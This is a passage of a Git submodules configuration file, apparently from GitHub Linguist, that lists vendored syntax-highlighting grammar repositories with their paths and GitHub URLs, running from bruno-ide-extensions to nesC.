\"vendor/grammars/bruno-ide-extensions\"]\n\tpath = vendor/grammars/bruno-ide-extensions\n\turl = https://github.com/usebruno/bruno-ide-extensions.git\n[submodule \"vendor/grammars/bst.tmLanguage\"]\n\tpath = vendor/grammars/bst.tmLanguage\n\turl = https://github.com/zyoshoka/bst.tmLanguage.git\n[submodule \"vendor/grammars/c.tmbundle\"]\n\tpath = vendor/grammars/c.tmbundle\n\turl = https://github.com/mikomikotaishi/c.tmbundle.git\n[submodule \"vendor/grammars/cairo-tm-grammar\"]\n\tpath = vendor/grammars/cairo-tm-grammar\n\turl = https://github.com/software-mansion-labs/cairo-tm-grammar.git\n[submodule \"vendor/grammars/capnproto.tmbundle\"]\n\tpath = vendor/grammars/capnproto.tmbundle\n\turl = https://github.com/textmate/capnproto.tmbundle\n[submodule \"vendor/grammars/carto-atom\"]\n\tpath = vendor/grammars/carto-atom\n\turl = https://github.com/yohanboniface/carto-atom\n[submodule \"vendor/grammars/cds-textmate-grammar\"]\n\tpath = vendor/grammars/cds-textmate-grammar\n\turl = https://github.com/SAP/cds-textmate-grammar.git\n[submodule \"vendor/grammars/ceylon-sublimetext\"]\n\tpath = vendor/grammars/ceylon-sublimetext\n\turl = https://github.com/jeancharles-roger/ceylon-sublimetext\n[submodule \"vendor/grammars/chapel-tmbundle\"]\n\tpath = vendor/grammars/chapel-tmbundle\n\turl = https://github.com/chapel-lang/chapel-tmbundle\n[submodule \"vendor/grammars/circom-highlighting-vscode\"]\n\tpath = vendor/grammars/circom-highlighting-vscode\n\turl = https://github.com/iden3/circom-highlighting-vscode.git\n[submodule \"vendor/grammars/clarity.tmbundle\"]\n\tpath = vendor/grammars/clarity.tmbundle\n\turl = https://github.com/hirosystems/clarity.tmbundle.git\n[submodule \"vendor/grammars/code-peggy-language\"]\n\tpath = vendor/grammars/code-peggy-language\n\turl = https://github.com/peggyjs/code-peggy-language.git\n[submodule \"vendor/grammars/common-lisp-tmlanguage\"]\n\tpath = vendor/grammars/common-lisp-tmlanguage\n\turl = https://github.com/qingpeng9802/common-lisp-tmlanguage.git\n[submodule \"vendor/grammars/conllu-linguist-grammar\"]\n\tpath = vendor/grammars/conllu-linguist-grammar\n\turl = https://github.com/odanoburu/conllu-linguist-grammar\n[submodule \"vendor/grammars/cool-tmbundle\"]\n\tpath = vendor/grammars/cool-tmbundle\n\turl = https://github.com/anunayk/cool-tmbundle\n[submodule \"vendor/grammars/cpp-qt.tmbundle\"]\n\tpath = vendor/grammars/cpp-qt.tmbundle\n\turl = https://github.com/textmate/cpp-qt.tmbundle\n[submodule \"vendor/grammars/cqlTextMate\"]\n\tpath = vendor/grammars/cqlTextMate\n\turl = https://github.com/Akzestia/cqlTextMate.git\n[submodule \"vendor/grammars/creole\"]\n\tpath = vendor/grammars/creole\n\turl = https://github.com/Siddley/Creole\n[submodule \"vendor/grammars/cron.tmbundle\"]\n\tpath = vendor/grammars/cron.tmbundle\n\turl = https://github.com/textmate/cron.tmbundle\n[submodule \"vendor/grammars/csharp-tmLanguage\"]\n\tpath = vendor/grammars/csharp-tmLanguage\n\turl = https://github.com/dotnet/csharp-tmLanguage\n[submodule \"vendor/grammars/cucumber-tmbundle\"]\n\tpath = vendor/grammars/cucumber-tmbundle\n\turl = https://github.com/cucumber/cucumber-tmbundle\n[submodule \"vendor/grammars/cython\"]\n\tpath = vendor/grammars/cython\n\turl = https://github.com/textmate/cython.tmbundle\n[submodule \"vendor/grammars/d.tmbundle\"]\n\tpath = vendor/grammars/d.tmbundle\n\turl = https://github.com/textmate/d.tmbundle\n[submodule \"vendor/grammars/d2-vscode\"]\n\tpath = vendor/grammars/d2-vscode\n\turl = https://github.com/terrastruct/d2-vscode.git\n[submodule \"vendor/grammars/dart-syntax-highlight\"]\n\tpath = vendor/grammars/dart-syntax-highlight\n\turl = https://github.com/dart-lang/dart-syntax-highlight\n[submodule \"vendor/grammars/daslang-grammar\"]\n\tpath = vendor/grammars/daslang-grammar\n\turl = https://github.com/moleium/daslang-grammar.git\n[submodule \"vendor/grammars/data-weave-tmLanguage\"]\n\tpath = vendor/grammars/data-weave-tmLanguage\n\turl = https://github.com/mulesoft-labs/data-weave-tmLanguage\n[submodule \"vendor/grammars/denizenscript-grammar\"]\n\tpath = vendor/grammars/denizenscript-grammar\n\turl = https://github.com/DenizenScript/denizenscript-grammar.git\n[submodule \"vendor/grammars/desktop.tmbundle\"]\n\tpath = vendor/grammars/desktop.tmbundle\n\turl = https://github.com/Mailaender/desktop.tmbundle.git\n[submodule \"vendor/grammars/diff.tmbundle\"]\n\tpath = vendor/grammars/diff.tmbundle\n\turl = https://github.com/textmate/diff.tmbundle\n[submodule \"vendor/grammars/dm-syntax\"]\n\tpath = vendor/grammars/dm-syntax\n\turl = https://github.com/spacestation13/dm-syntax.git\n[submodule \"vendor/grammars/dylan.tmbundle\"]\n\tpath = vendor/grammars/dylan.tmbundle\n\turl = https://github.com/textmate/dylan.tmbundle\n[submodule \"vendor/grammars/earthfile-grammar\"]\n\tpath = vendor/grammars/earthfile-grammar\n\turl = https://github.com/earthly/earthfile-grammar.git\n[submodule \"vendor/grammars/ec.tmbundle\"]\n\tpath = vendor/grammars/ec.tmbundle\n\turl = https://github.com/ecere/ec.tmbundle\n[submodule \"vendor/grammars/ecl-tmLanguage\"]\n\tpath = vendor/grammars/ecl-tmLanguage\n\turl = https://github.com/hpcc-systems/ecl-tmLanguage\n[submodule \"vendor/grammars/edge-vscode\"]\n\tpath = vendor/grammars/edge-vscode\n\turl = https://github.com/edge-js/edge-vscode.git\n[submodule \"vendor/grammars/edgedb-editor-plugin\"]\n\tpath = vendor/grammars/edgedb-editor-plugin\n\turl = https://github.com/edgedb/edgedb-editor-plugin.git\n[submodule \"vendor/grammars/eiffel.tmbundle\"]\n\tpath = vendor/grammars/eiffel.tmbundle\n\turl = https://github.com/textmate/eiffel.tmbundle\n[submodule \"vendor/grammars/ejs-tmbundle\"]\n\tpath = vendor/grammars/ejs-tmbundle\n\turl = https://github.com/gregory-m/ejs-tmbundle\n[submodule \"vendor/grammars/elixir-tmbundle\"]\n\tpath = vendor/grammars/elixir-tmbundle\n\turl = https://github.com/elixir-lang/elixir-tmbundle\n[submodule \"vendor/grammars/elvish\"]\n\tpath = vendor/grammars/elvish\n\turl = https://github.com/elves/elvish.git\n[submodule \"vendor/grammars/factor\"]\n\tpath = vendor/grammars/factor\n\turl = https://github.com/slavapestov/factor\n[submodule \"vendor/grammars/fancy-tmbundle\"]\n\tpath = vendor/grammars/fancy-tmbundle\n\turl = https://github.com/fancy-lang/fancy-tmbundle\n[submodule \"vendor/grammars/firrtl-syntax\"]\n\tpath = vendor/grammars/firrtl-syntax\n\turl = https://github.com/chipsalliance/firrtl-syntax.git\n[submodule \"vendor/grammars/fish-tmbundle\"]\n\tpath = vendor/grammars/fish-tmbundle\n\turl = https://github.com/l15n/fish-tmbundle\n[submodule \"vendor/grammars/forth\"]\n\tpath = vendor/grammars/forth\n\turl = https://github.com/textmate/forth.tmbundle\n[submodule \"vendor/grammars/fortran.tmbundle\"]\n\tpath = vendor/grammars/fortran.tmbundle\n\turl = https://github.com/textmate/fortran.tmbundle\n[submodule \"vendor/grammars/gap-tmbundle\"]\n\tpath = vendor/grammars/gap-tmbundle\n\turl = https://github.com/dhowden/gap-tmbundle\n[submodule \"vendor/grammars/gemfile-lock-tmlanguage\"]\n\tpath = vendor/grammars/gemfile-lock-tmlanguage\n\turl = https://github.com/hmarr/gemfile-lock-tmlanguage\n[submodule \"vendor/grammars/gemini-vscode\"]\n\tpath = vendor/grammars/gemini-vscode\n\turl = https://github.com/printfn/gemini-vscode.git\n[submodule \"vendor/grammars/gettext.tmbundle\"]\n\tpath = vendor/grammars/gettext.tmbundle\n\turl = https://github.com/textmate/gettext.tmbundle\n[submodule \"vendor/grammars/gnuplot-tmbundle\"]\n\tpath = vendor/grammars/gnuplot-tmbundle\n\turl = https://github.com/mattfoster/gnuplot-tmbundle\n[submodule \"vendor/grammars/go-tmbundle\"]\n\tpath = vendor/grammars/go-tmbundle\n\turl = https://github.com/AlanQuatermain/go-tmbundle\n[submodule \"vendor/grammars/godot-vscode-plugin\"]\n\tpath = vendor/grammars/godot-vscode-plugin\n\turl = https://github.com/godotengine/godot-vscode-plugin\n[submodule \"vendor/grammars/grace\"]\n\tpath = vendor/grammars/grace\n\turl = https://github.com/zmthy/grace-tmbundle\n[submodule \"vendor/grammars/gradle.tmbundle\"]\n\tpath = vendor/grammars/gradle.tmbundle\n\turl = https://github.com/alkemist/gradle.tmbundle\n[submodule \"vendor/grammars/grammar\"]\n\tpath = vendor/grammars/grammar\n\turl = https://github.com/erlang-ls/grammar.git\n[submodule \"vendor/grammars/graphiql\"]\n\tpath = vendor/grammars/graphiql\n\turl = https://github.com/graphql/graphiql.git\n[submodule \"vendor/grammars/graphviz.tmbundle\"]\n\tpath = vendor/grammars/graphviz.tmbundle\n\turl = https://github.com/textmate/graphviz.tmbundle\n[submodule \"vendor/grammars/groovy.tmbundle\"]\n\tpath = vendor/grammars/groovy.tmbundle\n\turl = https://github.com/textmate/groovy.tmbundle\n[submodule \"vendor/grammars/haxe-TmLanguage\"]\n\tpath = vendor/grammars/haxe-TmLanguage\n\turl = https://github.com/vshaxe/haxe-TmLanguage\n[submodule \"vendor/grammars/holyc.tmbundle\"]\n\tpath = vendor/grammars/holyc.tmbundle\n\turl = https://github.com/codingdandy/holyc.tmbundle\n[submodule \"vendor/grammars/hoon-grammar\"]\n\tpath = vendor/grammars/hoon-grammar\n\turl = https://github.com/pkova/hoon-grammar.git\n[submodule \"vendor/grammars/iCalendar-sublime\"]\n\tpath = vendor/grammars/iCalendar-sublime\n\turl = https://github.com/kimsey0/iCalendar-sublime.git\n[submodule \"vendor/grammars/ide-tools\"]\n\tpath = vendor/grammars/ide-tools\n\turl = https://github.com/toitware/ide-tools.git\n[submodule \"vendor/grammars/idl.tmbundle\"]\n\tpath = vendor/grammars/idl.tmbundle\n\turl = https://github.com/mgalloy/idl.tmbundle\n[submodule \"vendor/grammars/idris\"]\n\tpath = vendor/grammars/idris\n\turl = https://github.com/idris-hackers/idris-sublime.git\n[submodule \"vendor/grammars/imba-linguist-grammar\"]\n\tpath = vendor/grammars/imba-linguist-grammar\n\turl = https://github.com/imba/imba-linguist-grammar.git\n[submodule \"vendor/grammars/ini.tmbundle\"]\n\tpath = vendor/grammars/ini.tmbundle\n\turl = https://github.com/textmate/ini.tmbundle\n[submodule \"vendor/grammars/ink-tmlanguage\"]\n\tpath = vendor/grammars/ink-tmlanguage\n\turl = https://github.com/inkle/ink-tmlanguage.git\n[submodule \"vendor/grammars/io.tmbundle\"]\n\tpath = vendor/grammars/io.tmbundle\n\turl = https://github.com/textmate/io.tmbundle\n[submodule \"vendor/grammars/ioke-outdated\"]\n\tpath = vendor/grammars/ioke-outdated\n\turl = https://github.com/vic/ioke-outdated\n[submodule \"vendor/grammars/ionide-fsgrammar\"]\n\tpath = vendor/grammars/ionide-fsgrammar\n\turl = https://github.com/ionide/ionide-fsgrammar\n[submodule \"vendor/grammars/ispc.syntax\"]\n\tpath = vendor/grammars/ispc.syntax\n\turl = https://github.com/ispc/ispc.syntax.git\n[submodule \"vendor/grammars/jac-vscode\"]\n\tpath = vendor/grammars/jac-vscode\n\turl = https://github.com/jaseci-labs/jac-vscode.git\n[submodule \"vendor/grammars/jade-tmbundle\"]\n\tpath = vendor/grammars/jade-tmbundle\n\turl = https://github.com/davidrios/jade-tmbundle\n[submodule \"vendor/grammars/jasmin-sublime\"]\n\tpath = vendor/grammars/jasmin-sublime\n\turl = https://github.com/atmarksharp/jasmin-sublime\n[submodule \"vendor/grammars/java.tmbundle\"]\n\tpath = vendor/grammars/java.tmbundle\n\turl = https://github.com/textmate/java.tmbundle\n[submodule \"vendor/grammars/javadoc.tmbundle\"]\n\tpath = vendor/grammars/javadoc.tmbundle\n\turl = https://github.com/textmate/javadoc.tmbundle\n[submodule \"vendor/grammars/javascript-objective-j.tmbundle\"]\n\tpath = vendor/grammars/javascript-objective-j.tmbundle\n\turl = https://github.com/textmate/javascript-objective-j.tmbundle\n[submodule \"vendor/grammars/jflex.tmbundle\"]\n\tpath = vendor/grammars/jflex.tmbundle\n\turl = https://github.com/jflex-de/jflex.tmbundle.git\n[submodule \"vendor/grammars/jte-template-syntax-highlight\"]\n\tpath = vendor/grammars/jte-template-syntax-highlight\n\turl = https://github.com/maj2c/jte-template-syntax-highlight.git\n[submodule \"vendor/grammars/kivy-language-grammer\"]\n\tpath = vendor/grammars/kivy-language-grammer\n\turl = https://github.com/p0lygun/kivy-language-grammer.git\n[submodule \"vendor/grammars/koka-textmate-grammar\"]\n\tpath = vendor/grammars/koka-textmate-grammar\n\turl = https://github.com/koka-community/koka-textmate-grammar.git\n[submodule \"vendor/grammars/kusto-sublime\"]\n\tpath = vendor/grammars/kusto-sublime\n\turl = https://github.com/mmanela/kusto-sublime.git\n[submodule \"vendor/grammars/language-4d\"]\n\tpath = vendor/grammars/language-4d\n\turl = https://github.com/4d/language-4d.git\n[submodule \"vendor/grammars/language-agc\"]\n\tpath = vendor/grammars/language-agc\n\turl = https://github.com/Alhadis/language-agc\n[submodule \"vendor/grammars/language-algol60\"]\n\tpath = vendor/grammars/language-algol60\n\turl = https://github.com/PolariTOON/language-algol60.git\n[submodule \"vendor/grammars/language-apl\"]\n\tpath = vendor/grammars/language-apl\n\turl = https://github.com/Alhadis/language-apl.git\n[submodule \"vendor/grammars/language-asl\"]\n\tpath = vendor/grammars/language-asl\n\turl = https://github.com/sebadur/language-asl\n[submodule \"vendor/grammars/language-asn1\"]\n\tpath = vendor/grammars/language-asn1\n\turl = https://github.com/ajlangley/language-asn1\n[submodule \"vendor/grammars/language-basic\"]\n\tpath = vendor/grammars/language-basic\n\turl = https://github.com/telnet23/language-basic\n[submodule \"vendor/grammars/language-batchfile\"]\n\tpath = vendor/grammars/language-batchfile\n\turl = https://github.com/mmims/language-batchfile\n[submodule \"vendor/grammars/language-bh\"]\n\tpath = vendor/grammars/language-bh\n\turl = https://github.com/B-Lang-org/language-bh.git\n[submodule \"vendor/grammars/language-blade\"]\n\tpath = vendor/grammars/language-blade\n\turl = https://github.com/jawee/language-blade\n[submodule \"vendor/grammars/language-click\"]\n\tpath = vendor/grammars/language-click\n\turl = https://github.com/stenverbois/language-click.git\n[submodule \"vendor/grammars/language-clojure\"]\n\tpath = vendor/grammars/language-clojure\n\turl = https://github.com/atom/language-clojure\n[submodule \"vendor/grammars/language-closure-templates\"]\n\tpath = vendor/grammars/language-closure-templates\n\turl = https://github.com/mthadley/language-closure-templates\n[submodule \"vendor/grammars/language-coffee-script\"]\n\tpath = vendor/grammars/language-coffee-script\n\turl = https://github.com/atom/language-coffee-script\n[submodule \"vendor/grammars/language-crystal\"]\n\tpath = vendor/grammars/language-crystal\n\turl = https://github.com/atom-crystal/language-crystal\n[submodule \"vendor/grammars/language-csound\"]\n\tpath = vendor/grammars/language-csound\n\turl = https://github.com/nwhetsell/language-csound\n[submodule \"vendor/grammars/language-css\"]\n\tpath = vendor/grammars/language-css\n\turl = https://github.com/atom/language-css\n[submodule \"vendor/grammars/language-cwl\"]\n\tpath = vendor/grammars/language-cwl\n\turl = https://github.com/manabuishii/language-cwl\n[submodule \"vendor/grammars/language-debian\"]\n\tpath = vendor/grammars/language-debian\n\turl = https://github.com/tsbarnes/language-debian.git\n[submodule \"vendor/grammars/language-dircolors\"]\n\tpath = vendor/grammars/language-dircolors\n\turl = https://github.com/jolkdarr/language-dircolors\n[submodule \"vendor/grammars/language-dsv\"]\n\tpath = vendor/grammars/language-dsv\n\turl = https://github.com/Alhadis/language-dsv.git\n[submodule \"vendor/grammars/language-emacs-lisp\"]\n\tpath = vendor/grammars/language-emacs-lisp\n\turl = https://github.com/Alhadis/language-emacs-lisp\n[submodule \"vendor/grammars/language-eml\"]\n\tpath = vendor/grammars/language-eml\n\turl = https://github.com/mariozaizar/language-eml\n[submodule \"vendor/grammars/language-etc\"]\n\tpath = vendor/grammars/language-etc\n\turl = https://github.com/Alhadis/language-etc\n[submodule \"vendor/grammars/language-faust\"]\n\tpath = vendor/grammars/language-faust\n\turl = https://github.com/jpcima/language-faust\n[submodule \"vendor/grammars/language-fontforge\"]\n\tpath = vendor/grammars/language-fontforge\n\turl = https://github.com/Alhadis/language-fontforge\n[submodule \"vendor/grammars/language-gf\"]\n\tpath = vendor/grammars/language-gf\n\turl = https://github.com/johnjcamilleri/language-gf\n[submodule \"vendor/grammars/language-gn\"]\n\tpath = vendor/grammars/language-gn\n\turl = https://github.com/devoncarew/language-gn\n[submodule \"vendor/grammars/language-grammars\"]\n\tpath = vendor/grammars/language-grammars\n\turl = https://github.com/Alhadis/language-grammars\n[submodule \"vendor/grammars/language-haml\"]\n\tpath = vendor/grammars/language-haml\n\turl = https://github.com/ezekg/language-haml\n[submodule \"vendor/grammars/language-haskell\"]\n\tpath = vendor/grammars/language-haskell\n\turl = https://github.com/atom-haskell/language-haskell\n[submodule \"vendor/grammars/language-hocon\"]\n\tpath = vendor/grammars/language-hocon\n\turl = https://github.com/jacobwgillespie/language-hocon.git\n[submodule \"vendor/grammars/language-hql\"]\n\tpath = vendor/grammars/language-hql\n\turl = https://github.com/adidonato/language-hql\n[submodule \"vendor/grammars/language-html\"]\n\tpath = vendor/grammars/language-html\n\turl = https://github.com/atom/language-html\n[submodule \"vendor/grammars/language-hurl\"]\n\tpath = vendor/grammars/language-hurl\n\turl = https://github.com/nikeee/language-hurl.git\n[submodule \"vendor/grammars/language-igor\"]\n\tpath = vendor/grammars/language-igor\n\turl = https://github.com/byte-physics/language-igor\n[submodule \"vendor/grammars/language-inform7\"]\n\tpath = vendor/grammars/language-inform7\n\turl = https://github.com/iftechfoundation/language-inform7.git\n[submodule \"vendor/grammars/language-javascript\"]\n\tpath = vendor/grammars/language-javascript\n\turl = https://github.com/atom/language-javascript\n[submodule \"vendor/grammars/language-jison\"]\n\tpath = vendor/grammars/language-jison\n\turl = https://github.com/cdibbs/language-jison\n[submodule \"vendor/grammars/language-jolie\"]\n\tpath = vendor/grammars/language-jolie\n\turl = https://github.com/fmontesi/language-jolie\n[submodule \"vendor/grammars/language-jq\"]\n\tpath = vendor/grammars/language-jq\n\turl = https://github.com/wader/language-jq\n[submodule \"vendor/grammars/language-jsoniq\"]\n\tpath = vendor/grammars/language-jsoniq\n\turl = https://github.com/wcandillon/language-jsoniq\n[submodule \"vendor/grammars/language-jsonnet\"]\n\tpath = vendor/grammars/language-jsonnet\n\turl = https://github.com/google/language-jsonnet\n[submodule \"vendor/grammars/language-kak\"]\n\tpath = vendor/grammars/language-kak\n\turl = https://github.com/kakoune-editor/language-kak\n[submodule \"vendor/grammars/language-kerboscript\"]\n\tpath = vendor/grammars/language-kerboscript\n\turl = https://github.com/KSP-KOS/language-kerboscript.git\n[submodule \"vendor/grammars/language-kickstart\"]\n\tpath = vendor/grammars/language-kickstart\n\turl = https://github.com/wgwoods/language-kickstart.git\n[submodule \"vendor/grammars/language-kotlin\"]\n\tpath = vendor/grammars/language-kotlin\n\turl = https://github.com/nishtahir/language-kotlin\n[submodule \"vendor/grammars/language-langium\"]\n\tpath = vendor/grammars/language-langium\n\turl = https://github.com/eclipse-langium/language-langium.git\n[submodule \"vendor/grammars/language-less\"]\n\tpath = vendor/grammars/language-less\n\turl = https://github.com/atom/language-less.git\n[submodule \"vendor/grammars/language-m68k\"]\n\tpath = vendor/grammars/language-m68k\n\turl = https://github.com/zerkman/language-m68k\n[submodule \"vendor/grammars/language-macaulay2\"]\n\tpath = vendor/grammars/language-macaulay2\n\turl = https://github.com/Macaulay2/language-macaulay2\n[submodule \"vendor/grammars/language-maxscript\"]\n\tpath = vendor/grammars/language-maxscript\n\turl = https://github.com/Alhadis/language-maxscript\n[submodule \"vendor/grammars/language-mermaid\"]\n\tpath = vendor/grammars/language-mermaid\n\turl = https://github.com/Alhadis/language-mermaid.git\n[submodule \"vendor/grammars/language-meson\"]\n\tpath = vendor/grammars/language-meson\n\turl = https://github.com/TingPing/language-meson\n[submodule \"vendor/grammars/language-msl\"]\n\tpath = vendor/grammars/language-msl\n\turl = https://github.com/gen-angry/language-msl\n[submodule \"vendor/grammars/language-ncl\"]\n\tpath = vendor/grammars/language-ncl\n\turl = https://github.com/rpavlick/language-ncl.git\n[submodule \"vendor/grammars/language-ninja\"]\n\tpath = vendor/grammars/language-ninja\n\turl = https://github.com/khyo/language-ninja\n[submodule \"vendor/grammars/language-nunjucks\"]\n\tpath = vendor/grammars/language-nunjucks\n\turl = https://github.com/alohaas/language-nunjucks\n[submodule \"vendor/grammars/language-pan\"]\n\tpath = vendor/grammars/language-pan\n\turl = https://github.com/quattor/language-pan\n[submodule \"vendor/grammars/language-pcb\"]\n\tpath = vendor/grammars/language-pcb\n\turl = https://github.com/Alhadis/language-pcb\n[submodule \"vendor/grammars/language-povray\"]\n\tpath = vendor/grammars/language-povray\n\turl = https://github.com/c-lipka/language-povray\n[submodule \"vendor/grammars/language-property-list\"]\n\tpath = vendor/grammars/language-property-list\n\turl = https://github.com/atom/language-property-list\n[submodule \"vendor/grammars/language-pyret\"]\n\tpath = vendor/grammars/language-pyret\n\turl = https://github.com/samuela/language-pyret\n[submodule \"vendor/grammars/language-qasm\"]\n\tpath = vendor/grammars/language-qasm\n\turl = https://github.com/tareqdandachi/language-qasm\n[submodule \"vendor/grammars/language-reason\"]\n\tpath = vendor/grammars/language-reason\n\turl = https://github.com/reasonml-editor/language-reason\n[submodule \"vendor/grammars/language-reg\"]\n\tpath = vendor/grammars/language-reg\n\turl = https://github.com/bsara/language-reg\n[submodule \"vendor/grammars/language-regexp\"]\n\tpath = vendor/grammars/language-regexp\n\turl = https://github.com/Alhadis/language-regexp\n[submodule \"vendor/grammars/language-renpy\"]\n\tpath = vendor/grammars/language-renpy\n\turl = https://github.com/williamd1k0/language-renpy.git\n[submodule \"vendor/grammars/language-restructuredtext\"]\n\tpath = vendor/grammars/language-restructuredtext\n\turl = https://github.com/Lukasa/language-restructuredtext\n[submodule \"vendor/grammars/language-ring\"]\n\tpath = vendor/grammars/language-ring\n\turl = https://github.com/MahmoudFayed/atom-language-ring\n[submodule \"vendor/grammars/language-roff\"]\n\tpath = vendor/grammars/language-roff\n\turl = https://github.com/Alhadis/language-roff\n[submodule \"vendor/grammars/language-rpm-spec\"]\n\tpath = vendor/grammars/language-rpm-spec\n\turl = https://github.com/waveclaw/language-rpm-spec\n[submodule \"vendor/grammars/language-rtf\"]\n\tpath = vendor/grammars/language-rtf\n\turl = https://github.com/nwhetsell/language-rtf\n[submodule \"vendor/grammars/language-ruby\"]\n\tpath = vendor/grammars/language-ruby\n\turl = https://github.com/atom/language-ruby\n[submodule \"vendor/grammars/language-sass\"]\n\tpath = vendor/grammars/language-sass\n\turl = https://github.com/atom/language-sass\n[submodule \"vendor/grammars/language-sed\"]\n\tpath = vendor/grammars/language-sed\n\turl = https://github.com/Alhadis/language-sed\n[submodule \"vendor/grammars/language-shellscript\"]\n\tpath = vendor/grammars/language-shellscript\n\turl = https://github.com/atom/language-shellscript\n[submodule \"vendor/grammars/language-subtitles\"]\n\tpath = vendor/grammars/language-subtitles\n\turl = https://github.com/Alhadis/language-subtitles.git\n[submodule \"vendor/grammars/language-supercollider\"]\n\tpath = vendor/grammars/language-supercollider\n\turl = https://github.com/supercollider/language-supercollider\n[submodule \"vendor/grammars/language-texinfo\"]\n\tpath = vendor/grammars/language-texinfo\n\turl = https://github.com/Alhadis/language-texinfo\n[submodule \"vendor/grammars/language-ti-basic\"]\n\tpath = vendor/grammars/language-ti-basic\n\turl = https://github.com/TIny-Hacker/language-ti-basic.git\n[submodule \"vendor/grammars/language-toc-wow\"]\n\tpath = vendor/grammars/language-toc-wow\n\turl = https://github.com/nebularg/language-toc-wow\n[submodule \"vendor/grammars/language-tools\"]\n\tpath = vendor/grammars/language-tools\n\turl = https://github.com/vuejs/language-tools.git\n[submodule \"vendor/grammars/language-tsql\"]\n\tpath = vendor/grammars/language-tsql\n\turl = https://github.com/beau-witter/language-tsql\n[submodule \"vendor/grammars/language-turing\"]\n\tpath = vendor/grammars/language-turing\n\turl = https://github.com/Alhadis/language-turing\n[submodule \"vendor/grammars/language-typelanguage\"]\n\tpath = vendor/grammars/language-typelanguage\n\turl = https://github.com/goodmind/language-typelanguage\n[submodule \"vendor/grammars/language-viml\"]\n\tpath = vendor/grammars/language-viml\n\turl = https://github.com/Alhadis/language-viml\n[submodule \"vendor/grammars/language-wavefront\"]\n\tpath = vendor/grammars/language-wavefront\n\turl = https://github.com/Alhadis/language-wavefront\n[submodule \"vendor/grammars/language-webassembly\"]\n\tpath = vendor/grammars/language-webassembly\n\turl = https://github.com/Alhadis/language-webassembly\n[submodule \"vendor/grammars/language-xbase\"]\n\tpath = vendor/grammars/language-xbase\n\turl = https://github.com/hernad/atom-language-harbour\n[submodule \"vendor/grammars/language-xcompose\"]\n\tpath = vendor/grammars/language-xcompose\n\turl = https://github.com/samcv/language-xcompose\n[submodule \"vendor/grammars/language-yaml\"]\n\tpath = vendor/grammars/language-yaml\n\turl = https://github.com/atom/language-yaml\n[submodule \"vendor/grammars/language-yang\"]\n\tpath = vendor/grammars/language-yang\n\turl = https://github.com/DzonyKalafut/language-yang.git\n[submodule \"vendor/grammars/latex.tmbundle\"]\n\tpath = vendor/grammars/latex.tmbundle\n\turl = https://github.com/textmate/latex.tmbundle\n[submodule \"vendor/grammars/leo-linguist\"]\n\tpath = vendor/grammars/leo-linguist\n\turl = https://github.com/ProvableHQ/leo-linguist.git\n[submodule \"vendor/grammars/linter-lilypond\"]\n\tpath = vendor/grammars/linter-lilypond\n\turl = https://github.com/nwhetsell/linter-lilypond\n[submodule \"vendor/grammars/liquid-tm-grammar\"]\n\tpath = vendor/grammars/liquid-tm-grammar\n\turl = https://github.com/Shopify/liquid-tm-grammar.git\n[submodule \"vendor/grammars/lisp.tmbundle\"]\n\tpath = vendor/grammars/lisp.tmbundle\n\turl = https://github.com/textmate/lisp.tmbundle\n[submodule \"vendor/grammars/livescript-vscode\"]\n\tpath = vendor/grammars/livescript-vscode\n\turl = https://github.com/sharktide/livescript-vscode.git\n[submodule \"vendor/grammars/llvm.tmbundle\"]\n\tpath = vendor/grammars/llvm.tmbundle\n\turl = https://github.com/whitequark/llvm.tmbundle\n[submodule \"vendor/grammars/logos\"]\n\tpath = vendor/grammars/logos\n\turl = https://github.com/Cykey/Sublime-Logos\n[submodule \"vendor/grammars/logtalk.tmbundle\"]\n\tpath = vendor/grammars/logtalk.tmbundle\n\turl = https://github.com/textmate/logtalk.tmbundle\n[submodule \"vendor/grammars/lua.tmbundle\"]\n\tpath = vendor/grammars/lua.tmbundle\n\turl = https://github.com/LuaLS/lua.tmbundle.git\n[submodule \"vendor/grammars/m3\"]\n\tpath = vendor/grammars/m3\n\turl = https://github.com/newgrammars/m3\n[submodule \"vendor/grammars/make.tmbundle\"]\n\tpath = vendor/grammars/make.tmbundle\n\turl = https://github.com/textmate/make.tmbundle\n[submodule \"vendor/grammars/mako-tmbundle\"]\n\tpath = vendor/grammars/mako-tmbundle\n\turl = https://github.com/marconi/mako-tmbundle\n[submodule \"vendor/grammars/markdown-tm-language\"]\n\tpath = vendor/grammars/markdown-tm-language\n\turl = https://github.com/wooorm/markdown-tm-language.git\n[submodule \"vendor/grammars/marko-tmbundle\"]\n\tpath = vendor/grammars/marko-tmbundle\n\turl = https://github.com/marko-js/marko-tmbundle\n[submodule \"vendor/grammars/mathematica-tmbundle\"]\n\tpath = vendor/grammars/mathematica-tmbundle\n\turl = https://github.com/shadanan/mathematica-tmbundle\n[submodule \"vendor/grammars/maven.tmbundle\"]\n\tpath = vendor/grammars/maven.tmbundle\n\turl = https://github.com/textmate/maven.tmbundle\n[submodule \"vendor/grammars/mediawiki.tmbundle\"]\n\tpath = vendor/grammars/mediawiki.tmbundle\n\turl = https://github.com/textmate/mediawiki.tmbundle\n[submodule \"vendor/grammars/mercury-tmlanguage\"]\n\tpath = vendor/grammars/mercury-tmlanguage\n\turl = https://github.com/sebgod/mercury-tmlanguage\n[submodule \"vendor/grammars/metta-textmate-linguist\"]\n\tpath = vendor/grammars/metta-textmate-linguist\n\turl = https://github.com/Abigiya-M/metta-textmate-linguist.git\n[submodule \"vendor/grammars/mint-vscode\"]\n\tpath = vendor/grammars/mint-vscode\n\turl = https://github.com/mint-lang/mint-vscode\n[submodule \"vendor/grammars/mlir-grammar\"]\n\tpath = vendor/grammars/mlir-grammar\n\turl = https://github.com/jpienaar/mlir-grammar\n[submodule \"vendor/grammars/mojo-syntax\"]\n\tpath = vendor/grammars/mojo-syntax\n\turl = https://github.com/modularml/mojo-syntax.git\n[submodule \"vendor/grammars/monkey\"]\n\tpath = vendor/grammars/monkey\n\turl = https://github.com/gingerbeardman/monkey.tmbundle\n[submodule \"vendor/grammars/moonbit-tmLanguage\"]\n\tpath = vendor/grammars/moonbit-tmLanguage\n\turl = https://github.com/moonbitlang/moonbit-tmLanguage.git\n[submodule \"vendor/grammars/moonscript-tmbundle\"]\n\tpath = vendor/grammars/moonscript-tmbundle\n\turl = https://github.com/leafo/moonscript-tmbundle\n[submodule \"vendor/grammars/mps-vscode\"]\n\tpath = vendor/grammars/mps-vscode\n\turl = https://github.com/sharktide/mps-vscode.git\n[submodule \"vendor/grammars/nemerle.tmbundle\"]\n\tpath = vendor/grammars/nemerle.tmbundle\n\turl = https://github.com/textmate/nemerle.tmbundle\n[submodule \"vendor/grammars/nesC\"]\n\tpath = vendor/grammars/nesC\n\turl = https://github.com/cdwilson/nesC.tmbundle\n[submodule \"vendor/grammars/nickel\"]\n\tpath = 